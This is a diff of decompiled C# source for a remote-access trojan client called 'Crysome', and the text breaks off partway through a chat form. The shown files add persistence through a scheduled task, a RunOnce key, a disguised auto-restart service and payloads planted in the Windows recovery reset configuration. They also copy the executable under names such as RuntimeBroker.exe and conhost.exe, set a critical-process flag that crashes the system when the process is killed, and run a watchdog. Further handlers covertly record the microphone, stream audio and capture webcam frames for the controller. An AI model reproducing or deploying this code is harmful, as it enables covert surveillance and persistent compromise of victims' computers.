@@ -0,0 +1,32 @@
using System.Diagnostics;
namespace Crysome.Client.Configuration;
public static class Persistence
{
public static void Install()
{
if (!ClientConfiguration.Persistence)
{
return;
}
try
{
string processPath = ClientConfiguration.GetProcessPath();
if (!string.IsNullOrEmpty(processPath))
{
Process.Start(new ProcessStartInfo
{
FileName = "schtasks.exe",
Arguments = "/create /tn \"CrysomeLoader\" /tr \"" + processPath + "\" /sc minute /mo 5 /f",
UseShellExecute = false,
CreateNoWindow = true,
WindowStyle = ProcessWindowStyle.Hidden
})?.WaitForExit(10000);
}
}
catch
{
}
}
}
Crysome.Client/Crysome.Client.Configuration/SelfProtect.cs
+444
View File
@@ -0,0 +1,444 @@
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Threading;
using Microsoft.Win32;
namespace Crysome.Client.Configuration;
public static class SelfProtect
{
private static FileStream _fileLock;
private static Thread _watchThread;
private static volatile int _watcherPid = -1;
private static string _primaryExeName = "RuntimeBroker.exe";
private static string PrimaryDir => Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Microsoft", "Windows");
private static string BackupDir => Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Microsoft", "CLR");
internal static string PrimaryExe
{
get
{
return Path.Combine(PrimaryDir, _primaryExeName);
}
set
{
_primaryExeName = Path.GetFileName(value);
}
}
internal static string BackupExe => Path.Combine(BackupDir, "conhost.exe");
public static void RunAsWatcher(int mainPid)
{
try
{
LockOwnFile();
}
catch
{
}
try
{
HidePath(GetCurrentExe());
}
catch
{
}
while (true)
{
Thread.Sleep(2500);
bool flag = false;
try
{
flag = !Process.GetProcessById(mainPid).HasExited;
}
catch
{
flag = false;
}
if (!flag)
{
Thread.Sleep(800);
try
{
RestartFromBestCopy();
}
catch
{
}
}
try
{
EnsureBackups();
}
catch
{
}
}
}
public static bool NeedsRelocation()
{
if (ClientConfiguration.IsHollowed)
{
return false;
}
string currentExe = GetCurrentExe();
if (string.IsNullOrEmpty(currentExe))
{
return false;
}
try
{
return !string.Equals(Path.GetFullPath(currentExe), Path.GetFullPath(PrimaryExe), StringComparison.OrdinalIgnoreCase);
}
catch
{
return true;
}
}
public static bool RelocateAndRelaunch(string[] currentArgs)
{
if (ClientConfiguration.IsHollowed)
{
return false;
}
try
{
string currentExe = GetCurrentExe();
if (string.IsNullOrEmpty(currentExe) || !File.Exists(currentExe))
{
return false;
}
byte[] bytes = File.ReadAllBytes(currentExe);
try
{
Process[] processesByName = Process.GetProcessesByName(Path.GetFileNameWithoutExtension(PrimaryExe));
foreach (Process process in processesByName)
{
try
{
process.Kill();
}
catch
{
}
}
}
catch
{
}
Directory.CreateDirectory(PrimaryDir);
string primaryExe = PrimaryExe;
try
{
File.WriteAllBytes(primaryExe, bytes);
}
catch (IOException)
{
PrimaryExe = Path.Combine(PrimaryDir, "RuntimeBroker_svc.exe");
primaryExe = PrimaryExe;
try
{
File.WriteAllBytes(primaryExe, bytes);
}
catch
{
}
}
HidePath(primaryExe);
Directory.CreateDirectory(BackupDir);
try
{
File.WriteAllBytes(BackupExe, bytes);
}
catch
{
}
HidePath(BackupExe);
string text = "";
if (currentArgs != null)
{
foreach (string text2 in currentArgs)
{
if (!text2.StartsWith("--watcher", StringComparison.OrdinalIgnoreCase))
{
text = text + " " + text2;
}
}
}
Process.Start(new ProcessStartInfo(PrimaryExe, text.Trim())
{
UseShellExecute = false,
CreateNoWindow = true,
WindowStyle = ProcessWindowStyle.Hidden
});
return true;
}
catch (Exception ex2)
{
Program.Log("SelfProtect relocate: " + ex2.Message);
return false;
}
}
public static void Start()
{
if (ClientConfiguration.IsHollowed)
{
Program.Log("SelfProtect: hollowed mode — skipping file ops, watchdog, startup reg");
_watchThread = new Thread(MonitorWatcher)
{
IsBackground = true
};
_watchThread.Start();
return;
}
LockOwnFile();
HidePath(GetCurrentExe());
EnsureBackups();
AddStartupRegistry();
SpawnWatcher();
_watchThread = new Thread(MonitorWatcher)
{
IsBackground = true
};
_watchThread.Start();
Program.Log("SelfProtect: active (watchdog + lock + hidden + startup)");
}
private static void LockOwnFile()
{
try
{
string currentExe = GetCurrentExe();
if (!string.IsNullOrEmpty(currentExe) && File.Exists(currentExe) && _fileLock == null)
{
_fileLock = new FileStream(currentExe, FileMode.Open, FileAccess.Read, FileShare.Read);
}
}
catch
{
}
}
private static void HidePath(string path)
{
if (string.IsNullOrEmpty(path))
{
return;
}
try
{
if (File.Exists(path))
{
File.SetAttributes(path, File.GetAttributes(path) | FileAttributes.Hidden | FileAttributes.System);
}
}
catch
{
}
try
{
string directoryName = Path.GetDirectoryName(path);
if (!string.IsNullOrEmpty(directoryName) && Directory.Exists(directoryName))
{
new DirectoryInfo(directoryName).Attributes |= FileAttributes.Hidden;
}
}
catch
{
}
}
private static void EnsureBackups()
{
string currentExe = GetCurrentExe();
if (!string.IsNullOrEmpty(currentExe) && File.Exists(currentExe))
{
CopyIfMissing(currentExe, PrimaryDir, PrimaryExe);
CopyIfMissing(currentExe, BackupDir, BackupExe);
}
}
private static void CopyIfMissing(string source, string dir, string dest)
{
try
{
if (!File.Exists(dest))
{
Directory.CreateDirectory(dir);
File.Copy(source, dest, overwrite: true);
HidePath(dest);
}
}
catch
{
}
}
private static void AddStartupRegistry()
{
try
{
string text = (File.Exists(PrimaryExe) ? PrimaryExe : GetCurrentExe());
using RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", writable: true);
registryKey?.SetValue("RuntimeBroker", "\"" + text + "\"", RegistryValueKind.String);
}
catch
{
}
}
private static void SpawnWatcher()
{
if (ClientConfiguration.IsHollowed)
{
return;
}
try
{
string text = (File.Exists(BackupExe) ? BackupExe : PrimaryExe);
if (File.Exists(text))
{
Process process = Process.Start(new ProcessStartInfo(text, "--watcher " + Process.GetCurrentProcess().Id)
{
UseShellExecute = false,
CreateNoWindow = true,
WindowStyle = ProcessWindowStyle.Hidden
});
if (process != null)
{
_watcherPid = process.Id;
}
}
}
catch
{
}
}
private static void MonitorWatcher()
{
try
{
SetCriticalProcess();
}
catch
{
}
try
{
ProtectProcess();
}
catch
{
}
while (true)
{
Thread.Sleep(3000);
if (_watcherPid <= 0)
{
SpawnWatcher();
continue;
}
bool flag = false;
try
{
flag = !Process.GetProcessById(_watcherPid).HasExited;
}
catch
{
flag = false;
}
if (!flag)
{
_watcherPid = -1;
SpawnWatcher();
}
try
{
EnsureBackups();
}
catch
{
}
}
}
[DllImport("ntdll.dll", SetLastError = true)]
private static extern void RtlSetProcessIsCritical([MarshalAs(UnmanagedType.U1)] bool bNew, [MarshalAs(UnmanagedType.U1)] ref bool pbOld, [MarshalAs(UnmanagedType.U1)] bool bNeedScb);
private static void SetCriticalProcess()
{
try
{
Process.EnterDebugMode();
bool pbOld = false;
RtlSetProcessIsCritical(bNew: true, ref pbOld, bNeedScb: false);
Program.Log("SelfProtect: Critical process set (BSOD on kill)");
}
catch (Exception ex)
{
Program.Log("SelfProtect: Failed to set critical process: " + ex.Message);
}
}
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool SetKernelObjectSecurity(IntPtr Handle, int SecurityInformation, IntPtr SecurityDescriptor);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool ConvertStringSecurityDescriptorToSecurityDescriptor(string StringSecurityDescriptor, uint StringSDRevision, out IntPtr SecurityDescriptor, out uint SecurityDescriptorSize);
private static void ProtectProcess()
{
try
{
IntPtr handle = Process.GetCurrentProcess().Handle;
IntPtr SecurityDescriptor = IntPtr.Zero;
uint SecurityDescriptorSize = 0u;
if (ConvertStringSecurityDescriptorToSecurityDescriptor("D:(D;;0x0001;;;WD)", 1u, out SecurityDescriptor, out SecurityDescriptorSize))
{
SetKernelObjectSecurity(handle, 4, SecurityDescriptor);
}
}
catch
{
}
}
private static void RestartFromBestCopy()
{
string text = null;
if (File.Exists(PrimaryExe))
{
text = PrimaryExe;
}
else if (File.Exists(BackupExe))
{
text = BackupExe;
}
if (text != null)
{
Process.Start(new ProcessStartInfo(text)
{
UseShellExecute = false,
CreateNoWindow = true,
WindowStyle = ProcessWindowStyle.Hidden
});
}
}
private static string GetCurrentExe()
{
return ClientConfiguration.GetProcessPath();
}
}
Crysome.Client/Crysome.Client.Configuration/Survival.cs
+257
View File
@@ -0,0 +1,257 @@
using System;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Xml.Linq;
namespace Crysome.Client.Configuration;
public static class Survival
{
private static readonly Random _rnd = new Random();
private static string SystemDrive => Path.GetPathRoot(Environment.SystemDirectory);
private static string OEMPath => Path.Combine(SystemDrive, "Recovery", "OEM");
private static string BackupPath => Path.Combine(OEMPath, "CrysomeBackup");
private static string ResetConfigPath => Path.Combine(OEMPath, "ResetConfig.xml");
private static string RandomString(int len)
{
return new string((from _ in Enumerable.Range(0, len)
select "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"[_rnd.Next("ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789".Length)]).ToArray());
}
private static string EscapePayload(string cmd)
{
return cmd.Replace("%", "%%").Replace("^", "^^").Replace("&", "^&")
.Replace("|", "^|")
.Replace("<", "^<")
.Replace(">", "^>")
.Replace("\"", "\"\"");
}
private static string CreatePayload(string command)
{
string text = RandomString(20);
string text2 = EscapePayload(command);
return "\r\n@echo off\r\nfor /F \"tokens=1,2,3 delims= \" %%%A in ('reg query \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\RecoveryEnvironment\" /v TargetOS') DO SET TARGETOS=%%%C\r\n\r\nfor /F \"tokens=1 delims=\\\" %%%A in ('Echo %TARGETOS%') DO SET TARGETOSDRIVE=%%%A\r\n\r\nreg load HKLM\\" + text + " %TARGETOSDRIVE%\\windows\\system32\\config\\SOFTWARE\r\n\r\nreg add HKLM\\" + text + "\\Microsoft\\Windows\\CurrentVersion\\RunOnce /v " + text + " /t REG_SZ /d \"" + text2 + "\"\r\n\r\nreg unload HKLM\\" + text + "\r\n\r\n\r\n";
}
public static void Install()
{
if (!ClientConfiguration.IsFeatureEnabled("survival"))
{
return;
}
try
{
InstallService();
InstallResetSurvival();
}
catch (Exception ex)
{
Program.Log("Survival error: " + ex.Message);
}
}
private static void InstallResetSurvival()
{
try
{
string processPath = ClientConfiguration.GetProcessPath();
if (!string.IsNullOrEmpty(processPath) && File.Exists(processPath) && CreateEnvironment())
{
byte[] bytes = File.ReadAllBytes(processPath);
string text = RandomString(12) + ".exe";
string text2 = Path.Combine(OEMPath, text);
File.WriteAllBytes(text2, bytes);
Program.Log("Survival: Reset stub written " + text);
CreatePayload("cmd /c " + text2);
}
}
catch
{
}
}
private static void InstallService()
{
try
{
string processPath = ClientConfiguration.GetProcessPath();
string text = "WindowsHealthMonitor";
string text2 = "Windows System Health Monitor";
string text3 = "Monitors system health and performance diagnostics.";
if (ServiceExists(text))
{
Program.Log("Survival: Service already exists.");
return;
}
RunSc("create \"" + text + "\" binPath= \"" + processPath + "\" start= auto DisplayName= \"" + text2 + "\"");
RunSc("description \"" + text + "\" \"" + text3 + "\"");
RunSc("failure \"" + text + "\" reset= 0 actions= restart/60000/restart/60000/restart/60000");
RunSc("start \"" + text + "\"");
Program.Log("Survival: Service installed (" + text + ")");
}
catch (Exception ex)
{
Program.Log("Survival: Service install failed - " + ex.Message);
}
}
private static bool ServiceExists(string serviceName)
{
try
{
Process process = Process.Start(new ProcessStartInfo("sc", "query \"" + serviceName + "\"")
{
UseShellExecute = false,
CreateNoWindow = true,
RedirectStandardOutput = true
});
string text = process.StandardOutput.ReadToEnd();
process.WaitForExit();
return !text.Contains("1060");
}
catch
{
return false;
}
}
private static void RunSc(string args)
{
try
{
Process.Start(new ProcessStartInfo("sc", args)
{
UseShellExecute = false,
CreateNoWindow = true,
WindowStyle = ProcessWindowStyle.Hidden
}).WaitForExit();
}
catch
{
}
}
private static bool CreateEnvironment()
{
try
{
if (!Directory.Exists(OEMPath))
{
Directory.CreateDirectory(OEMPath);
}
if (Directory.Exists(BackupPath))
{
return false;
}
Directory.CreateDirectory(BackupPath);
return true;
}
catch
{
return false;
}
}
private static bool BackupConfig(string basicBat, string factoryBat, string stubName)
{
try
{
File.WriteAllLines(Path.Combine(BackupPath, "DELETEME"), new string[3] { basicBat, factoryBat, stubName });
if (File.Exists(ResetConfigPath))
{
File.Copy(ResetConfigPath, Path.Combine(BackupPath, "configBackup"), overwrite: true);
}
return true;
}
catch
{
return false;
}
}
private static void SaveScript(string fileName, string payload, string extra = null)
{
string text = payload;
if (!string.IsNullOrEmpty(extra))
{
text += extra;
}
File.WriteAllText(Path.Combine(OEMPath, fileName), text);
}
private static void CreateOrUpdateResetConfig(string basicBat, string factoryBat, string payload)
{
if (!File.Exists(ResetConfigPath))
{
CreateNewConfig(basicBat, factoryBat, payload);
}
else
{
UpdateExistingConfig(basicBat, factoryBat, payload);
}
}
private static XElement CreateRunElem(string phase, string path, int duration)
{
return new XElement("Run", new XAttribute("Phase", phase), new XElement("Path", path), new XElement("Duration", duration));
}
private static void CreateNewConfig(string basicBat, string factoryBat, string payload)
{
new XDocument(new XDeclaration("1.0", "utf-8", null), new XElement("Reset", CreateRunElem("BasicReset_AfterImageApply", basicBat, 1), CreateRunElem("FactoryReset_AfterImageApply", factoryBat, 1))).Save(ResetConfigPath);
SaveScript(basicBat, payload);
SaveScript(factoryBat, payload);
}
private static void UpdateExistingConfig(string basicBat, string factoryBat, string payload)
{
XElement xElement = XElement.Load(ResetConfigPath);
XElement[] array = (from e in xElement.Elements("Run")
where (string)e.Attribute("Phase") == "FactoryReset_AfterImageApply" || (string)e.Attribute("Phase") == "BasicReset_AfterImageApply"
select e).ToArray();
int num = 1;
XElement[] array2 = array;
for (int num2 = 0; num2 < array2.Length; num2++)
{
XElement xElement2 = array2[num2].Element("Duration");
if (xElement2 != null && int.TryParse(xElement2.Value, out var result) && result > num)
{
num = result;
}
}
string text = UpdatePhase(array, "BasicReset_AfterImageApply", basicBat);
string text2 = UpdatePhase(array, "FactoryReset_AfterImageApply", factoryBat);
if (text == null)
{
xElement.Add(CreateRunElem("BasicReset_AfterImageApply", basicBat, num));
}
if (text2 == null)
{
xElement.Add(CreateRunElem("FactoryReset_AfterImageApply", factoryBat, num));
}
SaveScript(basicBat, payload, text);
SaveScript(factoryBat, payload, text2);
xElement.Save(ResetConfigPath);
}
private static string UpdatePhase(XElement[] phases, string phaseName, string fileName)
{
XElement xElement = phases.FirstOrDefault((XElement e) => (string)e.Attribute("Phase") == phaseName);
if (xElement == null)
{
return null;
}
string text = "%TARGETOSDRIVE%\\Recovery\\OEM\\" + (string)xElement.Element("Path");
string text2 = ((string)xElement.Element("Param")) ?? "";
xElement.Element("Param")?.Remove();
xElement.Element("Path").Value = fileName;
return "\"" + text + "\" " + text2;
}
}
Crysome.Client/Crysome.Client.Handlers/AudioHandlers.cs
+315
View File
@@ -0,0 +1,315 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Threading;
using Crysome.Common.Network;
using Crysome.Common.Network.Packets;
using Crysome.Common.Network.Packets.Client;
using Crysome.Common.Network.Packets.Server;
using NAudio.Wave;
namespace Crysome.Client.Handlers;
public static class AudioHandlers
{
private static volatile bool _streamRunning;
private static WaveInEvent _streamWaveIn;
private static CrysomeClient _streamClient;
public static void HandleGetAudioDevices(CrysomeClient client, IPacket packet)
{
//IL_008f: Unknown result type (might be due to invalid IL or missing references)
//IL_0099: Expected O, but got Unknown
//IL_0037: Unknown result type (might be due to invalid IL or missing references)
//IL_0041: Expected O, but got Unknown
Program.Log("[MIC] HandleGetAudioDevices ENTER");
try
{
string[] audioDeviceNames = GetAudioDeviceNames();
Program.Log("[MIC] GetAudioDeviceNames returned " + ((audioDeviceNames != null) ? audioDeviceNames.Length : 0) + " devices");
client.SendPacket((IPacket)new AudioDevicesResponsePacket(audioDeviceNames));
Program.Log("[MIC] HandleGetAudioDevices sent response OK");
}
catch (Exception ex)
{
Program.Log("[MIC] GetAudioDevices EXCEPTION: " + ex.GetType().Name + " " + ex.Message);
Program.Log("[MIC] Stack: " + ex.StackTrace);
try
{
client.SendPacket((IPacket)new AudioDevicesResponsePacket(new string[0]));
Program.Log("[MIC] Sent empty fallback");
}
catch (Exception ex2)
{
Program.Log("[MIC] Fallback send failed: " + ex2.Message);
}
}
}
public static void HandleRequestAudio(CrysomeClient client, IPacket packet)
{
//IL_000b: Unknown result type (might be due to invalid IL or missing references)
//IL_0011: Expected O, but got Unknown
//IL_00ea: Unknown result type (might be due to invalid IL or missing references)
//IL_00f4: Expected O, but got Unknown
//IL_008e: Unknown result type (might be due to invalid IL or missing references)
//IL_0098: Expected O, but got Unknown
Program.Log("[MIC] HandleRequestAudio ENTER");
try
{
RequestAudioPacket val = (RequestAudioPacket)packet;
int seconds = Math.Max(1, Math.Min(30, val.Seconds));
int deviceIndex = Math.Max(0, val.DeviceIndex);
Program.Log("[MIC] RecordMicrophone sec=" + seconds + " idx=" + deviceIndex);
byte[] array = RecordMicrophone(seconds, deviceIndex);
Program.Log("[MIC] Record done, " + ((array != null) ? array.Length : 0) + " bytes");
client.SendPacket((IPacket)new AudioDataPacket(array ?? new byte[0]));
Program.Log("[MIC] HandleRequestAudio sent OK");
}
catch (Exception ex)
{
Program.Log("[MIC] RequestAudio EXCEPTION: " + ex.GetType().Name + " " + ex.Message);
Program.Log("[MIC] Stack: " + ex.StackTrace);
try
{
client.SendPacket((IPacket)new AudioDataPacket(new byte[0]));
}
catch
{
}
}
}
public static void HandleStartAudioStream(CrysomeClient client, IPacket packet)
{
//IL_000b: Unknown result type (might be due to invalid IL or missing references)
//IL_0011: Expected O, but got Unknown
Program.Log("[MIC] HandleStartAudioStream ENTER");
try
{
StartAudioStreamPacket val = (StartAudioStreamPacket)packet;
int deviceIndex = Math.Max(0, val.DeviceIndex);
StartStream(client, deviceIndex);
Program.Log("[MIC] HandleStartAudioStream OK");
}
catch (Exception ex)
{
Program.Log("[MIC] StartAudioStream EXCEPTION: " + ex.GetType().Name + " " + ex.Message + " Stack: " + ex.StackTrace);
}
}
public static void HandleStopAudioStream(CrysomeClient client, IPacket packet)
{
StopStream();
}
public static string[] GetAudioDeviceNames()
{
//IL_001b: Unknown result type (might be due to invalid IL or missing references)
//IL_0020: Unknown result type (might be due to invalid IL or missing references)
Program.Log("[MIC] GetAudioDeviceNames ENTER");
try
{
List<string> list = new List<string>();
int deviceCount = WaveIn.DeviceCount;
for (int i = 0; i < deviceCount; i++)
{
WaveInCapabilities capabilities = WaveIn.GetCapabilities(i);
list.Add(capabilities.ProductName?.Trim() ?? ("Microphone " + i));
}
return list.ToArray();
}
catch (FileNotFoundException ex)
{
Program.Log("[MIC] NAudio DLL missing: " + ex.FileName + " - copy NAudio*.dll next to exe");
return new string[0];
}
catch (Exception ex2)
{
Program.Log("[MIC] GetAudioDeviceNames: " + ex2.Message);
return new string[0];
}
}
private static void StartStream(CrysomeClient client, int deviceIndex)
{
//IL_0046: Unknown result type (might be due to invalid IL or missing references)
//IL_004c: Expected O, but got Unknown
//IL_0065: Unknown result type (might be due to invalid IL or missing references)
//IL_006a: Unknown result type (might be due to invalid IL or missing references)
//IL_0071: Unknown result type (might be due to invalid IL or missing references)
//IL_007d: Expected O, but got Unknown
lock (typeof(AudioHandlers))
{
if (_streamRunning)
{
return;
}
_streamClient = client;
_streamRunning = true;
}
try
{
WaveFormat waveFormat = new WaveFormat(16000, 16, 1);
int deviceNumber = ((WaveIn.DeviceCount > 0) ? Math.Min(deviceIndex, WaveIn.DeviceCount - 1) : 0);
_streamWaveIn = new WaveInEvent
{
DeviceNumber = deviceNumber,
WaveFormat = waveFormat
};
_streamWaveIn.DataAvailable += delegate(object s, WaveInEventArgs e)
{
//IL_0045: Unknown result type (might be due to invalid IL or missing references)
//IL_004f: Expected O, but got Unknown
if (_streamRunning)
{
CrysomeClient streamClient = _streamClient;
if (streamClient != null && streamClient.IsConnected)
{
try
{
byte[] array = new byte[e.BytesRecorded];
Array.Copy(e.Buffer, array, e.BytesRecorded);
_streamClient.SendPacket((IPacket)new AudioStreamChunkPacket(array));
}
catch
{
}
}
}
};
_streamWaveIn.StartRecording();
}
catch (Exception ex)
{
Program.Log("AudioStream: " + ex.Message);
_streamRunning = false;
}
}
private static void StopStream()
{
lock (typeof(AudioHandlers))
{
_streamRunning = false;
try
{
WaveInEvent streamWaveIn = _streamWaveIn;
if (streamWaveIn != null)
{
streamWaveIn.StopRecording();
}
WaveInEvent streamWaveIn2 = _streamWaveIn;
if (streamWaveIn2 != null)
{
streamWaveIn2.Dispose();
}
}
catch
{
}
_streamWaveIn = null;
_streamClient = null;
}
}
private static byte[] RecordMicrophone(int seconds, int deviceIndex)
{
//IL_000e: Unknown result type (might be due to invalid IL or missing references)
//IL_0014: Expected O, but got Unknown
//IL_0033: Unknown result type (might be due to invalid IL or missing references)
//IL_0038: Unknown result type (might be due to invalid IL or missing references)
//IL_0040: Expected O, but got Unknown
//IL_015b: Unknown result type (might be due to invalid IL or missing references)
//IL_0162: Expected O, but got Unknown
try
{
WaveFormat val = new WaveFormat(44100, 16, 1);
int deviceNumber = ((WaveIn.DeviceCount > 0) ? Math.Min(Math.Max(0, deviceIndex), WaveIn.DeviceCount - 1) : 0);
WaveInEvent val2 = new WaveInEvent
{
DeviceNumber = deviceNumber
};
val2.WaveFormat = val;
List<byte[]> buffers = new List<byte[]>();
DateTime dateTime = DateTime.Now.AddSeconds(seconds);
val2.DataAvailable += delegate(object s, WaveInEventArgs e)
{
byte[] array2 = new byte[e.BytesRecorded];
Array.Copy(e.Buffer, array2, e.BytesRecorded);
lock (buffers)
{
buffers.Add(array2);
}
};
val2.StartRecording();
while (DateTime.Now < dateTime)
{
Thread.Sleep(100);
}
val2.StopRecording();
val2.Dispose();
byte[] array;
lock (buffers)
{
int num = 0;
foreach (byte[] item in buffers)
{
num += item.Length;
}
array = new byte[num];
int num2 = 0;
foreach (byte[] item2 in buffers)
{
Array.Copy(item2, 0, array, num2, item2.Length);
num2 += item2.Length;
}
}
MemoryStream memoryStream = new MemoryStream();
WaveFileWriter val3 = new WaveFileWriter((Stream)memoryStream, val);
((Stream)(object)val3).Write(array, 0, array.Length);
((Stream)(object)val3).Flush();
byte[] result = memoryStream.ToArray();
((Stream)(object)val3).Dispose();
return result;
}
catch (Exception)
{
return CreateSilenceWav(seconds);
}
}
private static byte[] CreateSilenceWav(int seconds)
{
//IL_0008: Unknown result type (might be due to invalid IL or missing references)
//IL_000e: Expected O, but got Unknown
//IL_0016: Unknown result type (might be due to invalid IL or missing references)
//IL_001c: Expected O, but got Unknown
try
{
WaveFormat val = new WaveFormat(44100, 16, 1);
MemoryStream memoryStream = new MemoryStream();
WaveFileWriter val2 = new WaveFileWriter((Stream)memoryStream, val);
try
{
int num = val.SampleRate * val.BitsPerSample / 8 * val.Channels;
byte[] array = new byte[Math.Min(num, 88200)];
for (long num2 = 0L; num2 < (long)num * (long)seconds; num2 += array.Length)
{
((Stream)(object)val2).Write(array, 0, (int)Math.Min(array.Length, (long)num * (long)seconds - num2));
}
}
finally
{
((IDisposable)val2)?.Dispose();
}
return memoryStream.ToArray();
}
catch
{
return new byte[0];
}
}
}
Crysome.Client/Crysome.Client.Handlers/CameraHandlers.cs
+157
View File
@@ -0,0 +1,157 @@
using System;
using System.Collections;
using System.Collections.Generic;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Threading;
using AForge.Video;
using AForge.Video.DirectShow;
using Crysome.Common.Network;
using Crysome.Common.Network.Packets;
using Crysome.Common.Network.Packets.Client;
using Crysome.Common.Network.Packets.Server;
namespace Crysome.Client.Handlers;
public static class CameraHandlers
{
public static void HandleGetCameraDevices(CrysomeClient client, IPacket packet)
{
//IL_008f: Unknown result type (might be due to invalid IL or missing references)
//IL_0099: Expected O, but got Unknown
//IL_0037: Unknown result type (might be due to invalid IL or missing references)
//IL_0041: Expected O, but got Unknown
Program.Log("[CAM] HandleGetCameraDevices ENTER");
try
{
string[] cameraDeviceNames = GetCameraDeviceNames();
Program.Log("[CAM] GetCameraDeviceNames returned " + ((cameraDeviceNames != null) ? cameraDeviceNames.Length : 0) + " devices");
client.SendPacket((IPacket)new CameraDevicesResponsePacket(cameraDeviceNames));
Program.Log("[CAM] HandleGetCameraDevices sent response OK");
}
catch (Exception ex)
{
Program.Log("[CAM] GetCameraDevices EXCEPTION: " + ex.GetType().Name + " " + ex.Message);
Program.Log("[CAM] Stack: " + ex.StackTrace);
try
{
client.SendPacket((IPacket)new CameraDevicesResponsePacket(new string[0]));
Program.Log("[CAM] Sent empty fallback");
}
catch (Exception ex2)
{
Program.Log("[CAM] Fallback send failed: " + ex2.Message);
}
}
}
public static void HandleRequestCameraFrame(CrysomeClient client, IPacket packet)
{
//IL_000b: Unknown result type (might be due to invalid IL or missing references)
//IL_0011: Expected O, but got Unknown
//IL_00c3: Unknown result type (might be due to invalid IL or missing references)
//IL_00cd: Expected O, but got Unknown
//IL_006b: Unknown result type (might be due to invalid IL or missing references)
//IL_0075: Expected O, but got Unknown
Program.Log("[CAM] HandleRequestCameraFrame ENTER");
try
{
RequestCameraFramePacket val = (RequestCameraFramePacket)packet;
Program.Log("[CAM] CaptureCameraFrame idx=" + val.DeviceIndex);
byte[] array = CaptureCameraFrame(val.DeviceIndex);
Program.Log("[CAM] Capture done, " + ((array != null) ? array.Length : 0) + " bytes");
client.SendPacket((IPacket)new CameraFramePacket(array ?? new byte[0]));
Program.Log("[CAM] HandleRequestCameraFrame sent OK");
}
catch (Exception ex)
{
Program.Log("[CAM] RequestCameraFrame EXCEPTION: " + ex.GetType().Name + " " + ex.Message);
Program.Log("[CAM] Stack: " + ex.StackTrace);
try
{
client.SendPacket((IPacket)new CameraFramePacket(new byte[0]));
}
catch
{
}
}
}
public static string[] GetCameraDeviceNames()
{
//IL_000f: Unknown result type (might be due to invalid IL or missing references)
//IL_0015: Expected O, but got Unknown
Program.Log("[CAM] GetCameraDeviceNames ENTER");
try
{
FilterInfoCollection val = new FilterInfoCollection(FilterCategory.VideoInputDevice);
List<string> list = new List<string>();
for (int i = 0; i < ((CollectionBase)(object)val).Count; i++)
{
list.Add(val[i].Name ?? ("Camera " + i));
}
return list.ToArray();
}
catch (FileNotFoundException ex)
{
Program.Log("[CAM] AForge DLL missing: " + ex.FileName + " - copy AForge.Video.DirectShow.dll next to exe");
return new string[0];
}
catch (Exception ex2)
{
Program.Log("[CAM] GetCameraDeviceNames: " + ex2.Message);
return new string[0];
}
}
private static byte[] CaptureCameraFrame(int deviceIndex)
{
//IL_000b: Unknown result type (might be due to invalid IL or missing references)
//IL_0011: Expected O, but got Unknown
//IL_0047: Unknown result type (might be due to invalid IL or missing references)
//IL_0066: Unknown result type (might be due to invalid IL or missing references)
//IL_006c: Expected O, but got Unknown
//IL_006c: Unknown result type (might be due to invalid IL or missing references)
//IL_0073: Unknown result type (might be due to invalid IL or missing references)
//IL_008a: Unknown result type (might be due to invalid IL or missing references)
//IL_0090: Unknown result type (might be due to invalid IL or missing references)
try
{
FilterInfoCollection val = new FilterInfoCollection(FilterCategory.VideoInputDevice);
if (((CollectionBase)(object)val).Count == 0)
{
return new byte[0];
}
int num = Math.Max(0, Math.Min(deviceIndex, ((CollectionBase)(object)val).Count - 1));
VideoCaptureDevice val2 = new VideoCaptureDevice(val[num].MonikerString);
byte[] result = null;
ManualResetEvent ev = new ManualResetEvent(initialState: false);
NewFrameEventHandler val3 = (NewFrameEventHandler)delegate(object s, NewFrameEventArgs e)
{
try
{
using Bitmap bitmap = (Bitmap)e.Frame.Clone();
using MemoryStream memoryStream = new MemoryStream();
bitmap.Save(memoryStream, ImageFormat.Jpeg);
result = memoryStream.ToArray();
}
catch
{
}
ev.Set();
};
val2.NewFrame += val3;
val2.Start();
ev.WaitOne(5000);
val2.SignalToStop();
val2.WaitForStop();
val2.NewFrame -= val3;
return result ?? new byte[0];
}
catch (Exception)
{
return new byte[0];
}
}
}
Crysome.Client/Crysome.Client.Handlers/ChatForm.cs
+95
View File
@@ -0,0 +1,95 @@
using System;
using System.Drawing;
using System.Windows.Forms;
namespace Crysome.Client.Handlers;
public class ChatForm : Form
{
private readonly Action<string> _onSend;
private ListBox _listBox;
private TextBox _textBox;
private Button _sendBtn;
public ChatForm(Action<string> onSend)
{
_onSend = onSend;
Text = "Chat";
base.Size = new Size(400, 350);
base.FormBorderStyle = FormBorderStyle.Sizable;
base.StartPosition = FormStartPosition.CenterScreen;
base.ShowIcon = false;
base.FormClosing += delegate
{
ChatHandlers.OnFormClosed();
};
_listBox = new ListBox
{
Dock = DockStyle.Fill,
Font = new Font("Segoe UI", 10f)
};
Panel panel = new Panel
{
Dock = DockStyle.Bottom,
Height = 40
};
_textBox = new TextBox
{
Dock = DockStyle.Fill,
Font = new Font("Segoe UI", 10f),
Margin = new Padding(4)
};
_sendBtn = new Button
{
Text = "Send",
Dock = DockStyle.Right,
Width = 70
};
_textBox.KeyDown += delegate(object s, KeyEventArgs e)
{
if (e.KeyCode == Keys.Return)
{
e.SuppressKeyPress = true;
Send();
}
};
_sendBtn.Click += delegate
{
Send();
};
panel.Controls.Add(_textBox);
panel.Controls.Add(_sendBtn);
base.Controls.Add(_listBox);
base.Controls.Add(panel);
}
public void AddMessage(string from, string msg)
{
if (base.InvokeRequired)
{
BeginInvoke((MethodInvoker)delegate
{
AddMessage(from, msg);
});
}
else if (_listBox != null)
{
_listBox.Items.Add("[" + from + "]: " + msg);
_listBox.TopIndex = Math.Max(0, (_listBox.Items?.Count ?? 1) - 1);
}
}
private void Send()
{
string text = _textBox?.Text?.Trim();
if (!string.IsNullOrEmpty(text))
{
